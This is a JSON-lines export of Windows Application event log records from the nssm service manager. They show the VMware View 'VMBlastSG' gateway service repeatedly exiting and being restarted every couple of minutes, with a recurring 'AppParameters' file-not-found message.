{"@timestamp":1646777838551,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163440}}
{"@timestamp":1646777838552,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163441}}
{"@timestamp":1646777838553,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160736","0"]}}},"module":"Application","provider":"nssm","sequence":163442}}
{"@timestamp":1646777838554,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160736","160736","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163443}}
{"@timestamp":1646777838576,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163444}}
{"@timestamp":1646777838577,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163445}}
{"@timestamp":1646777838577,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163446}}
{"@timestamp":1646777838578,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163447}}
{"@timestamp":1646777967067,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163448}}
{"@timestamp":1646777967069,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163449}}
{"@timestamp":1646777967070,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160656","0"]}}},"module":"Application","provider":"nssm","sequence":163450}}
{"@timestamp":1646777967070,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160656","160656","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163451}}
{"@timestamp":1646777967087,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163452}}
{"@timestamp":1646777967088,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163453}}
{"@timestamp":1646777967088,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163454}}
{"@timestamp":1646777967089,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163455}}
{"@timestamp":1646778095575,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163456}}
{"@timestamp":1646778095576,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163457}}
{"@timestamp":1646778095577,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159768","0"]}}},"module":"Application","provider":"nssm","sequence":163458}}
{"@timestamp":1646778095579,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159768","159768","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163459}}
{"@timestamp":1646778095597,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163460}}
{"@timestamp":1646778095598,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163461}}
{"@timestamp":1646778095598,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163462}}
{"@timestamp":1646778095599,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163463}}
{"@timestamp":1646778224102,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163464}}
{"@timestamp":1646778224102,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163465}}
{"@timestamp":1646778224103,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158388","0"]}}},"module":"Application","provider":"nssm","sequence":163466}}
{"@timestamp":1646778224103,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158388","158388","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163467}}
{"@timestamp":1646778224120,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163468}}
{"@timestamp":1646778224121,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163469}}
{"@timestamp":1646778224121,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163470}}
{"@timestamp":1646778224122,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163471}}
{"@timestamp":1646778352641,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163472}}
{"@timestamp":1646778352644,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163473}}
{"@timestamp":1646778352645,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160568","0"]}}},"module":"Application","provider":"nssm","sequence":163474}}
{"@timestamp":1646778352645,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160568","160568","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163475}}
{"@timestamp":1646778352664,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163476}}
{"@timestamp":1646778352664,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163477}}
{"@timestamp":1646778352665,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163478}}
{"@timestamp":1646778352666,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163479}}
{"@timestamp":1646778481177,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163480}}
{"@timestamp":1646778481177,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163481}}
{"@timestamp":1646778481178,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160196","0"]}}},"module":"Application","provider":"nssm","sequence":163482}}
{"@timestamp":1646778481179,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160196","160196","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163483}}
{"@timestamp":1646778481200,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163484}}
{"@timestamp":1646778481200,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163485}}
{"@timestamp":1646778481201,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163486}}
{"@timestamp":1646778481202,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163487}}
{"@timestamp":1646778609810,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163488}}
{"@timestamp":1646778609810,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163489}}
{"@timestamp":1646778609811,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159152","0"]}}},"module":"Application","provider":"nssm","sequence":163490}}
{"@timestamp":1646778609811,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159152","159152","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163491}}
{"@timestamp":1646778609829,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163492}}
{"@timestamp":1646778609830,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163493}}
{"@timestamp":1646778609831,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163494}}
{"@timestamp":1646778609832,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163495}}
{"@timestamp":1646778738330,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163496}}
{"@timestamp":1646778738333,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163497}}
{"@timestamp":1646778738333,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160664","0"]}}},"module":"Application","provider":"nssm","sequence":163498}}
{"@timestamp":1646778738334,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160664","160664","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163499}}
{"@timestamp":1646778738354,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163500}}
{"@timestamp":1646778738354,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163501}}
{"@timestamp":1646778738355,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163502}}
{"@timestamp":1646778738356,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163503}}
{"@timestamp":1646778866906,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163504}}
{"@timestamp":1646778866907,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163505}}
{"@timestamp":1646778866908,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159880","0"]}}},"module":"Application","provider":"nssm","sequence":163506}}
{"@timestamp":1646778866908,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159880","159880","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163507}}
{"@timestamp":1646778866925,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163508}}
{"@timestamp":1646778866926,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163509}}
{"@timestamp":1646778866926,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163510}}
{"@timestamp":1646778866927,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163511}}
{"@timestamp":1646778995419,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163512}}
{"@timestamp":1646778995420,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163513}}
{"@timestamp":1646778995421,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160544","0"]}}},"module":"Application","provider":"nssm","sequence":163514}}
{"@timestamp":1646778995421,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160544","160544","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163515}}
{"@timestamp":1646778995438,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163516}}
{"@timestamp":1646778995439,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163517}}
{"@timestamp":1646778995439,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163518}}
{"@timestamp":1646778995440,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163519}}
{"@timestamp":1646779124020,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163520}}
{"@timestamp":1646779124021,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163521}}
{"@timestamp":1646779124022,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158992","0"]}}},"module":"Application","provider":"nssm","sequence":163522}}
{"@timestamp":1646779124022,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158992","158992","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163523}}
{"@timestamp":1646779124040,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158728","0"]}}},"module":"Application","provider":"nssm","sequence":163524}}
{"@timestamp":1646779124041,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158728","158992","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163525}}
{"@timestamp":1646779124058,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163526}}
{"@timestamp":1646779124058,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163527}}
{"@timestamp":1646779124059,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163528}}
{"@timestamp":1646779124060,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163529}}
{"@timestamp":1646779252802,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163530}}
{"@timestamp":1646779252803,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163531}}
{"@timestamp":1646779252803,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160696","0"]}}},"module":"Application","provider":"nssm","sequence":163532}}
{"@timestamp":1646779252804,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160696","160696","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163533}}
{"@timestamp":1646779252821,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160456","0"]}}},"module":"Application","provider":"nssm","sequence":163534}}
{"@timestamp":1646779252822,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160456","160696","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163535}}
{"@timestamp":1646779252839,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163536}}
{"@timestamp":1646779252839,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163537}}
{"@timestamp":1646779252840,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163538}}
{"@timestamp":1646779252841,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163539}}
{"@timestamp":1646779381331,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163540}}
{"@timestamp":1646779381332,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163541}}
{"@timestamp":1646779381333,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160052","0"]}}},"module":"Application","provider":"nssm","sequence":163542}}
{"@timestamp":1646779381334,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160052","160052","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163543}}
{"@timestamp":1646779381352,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163544}}
{"@timestamp":1646779381352,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163545}}
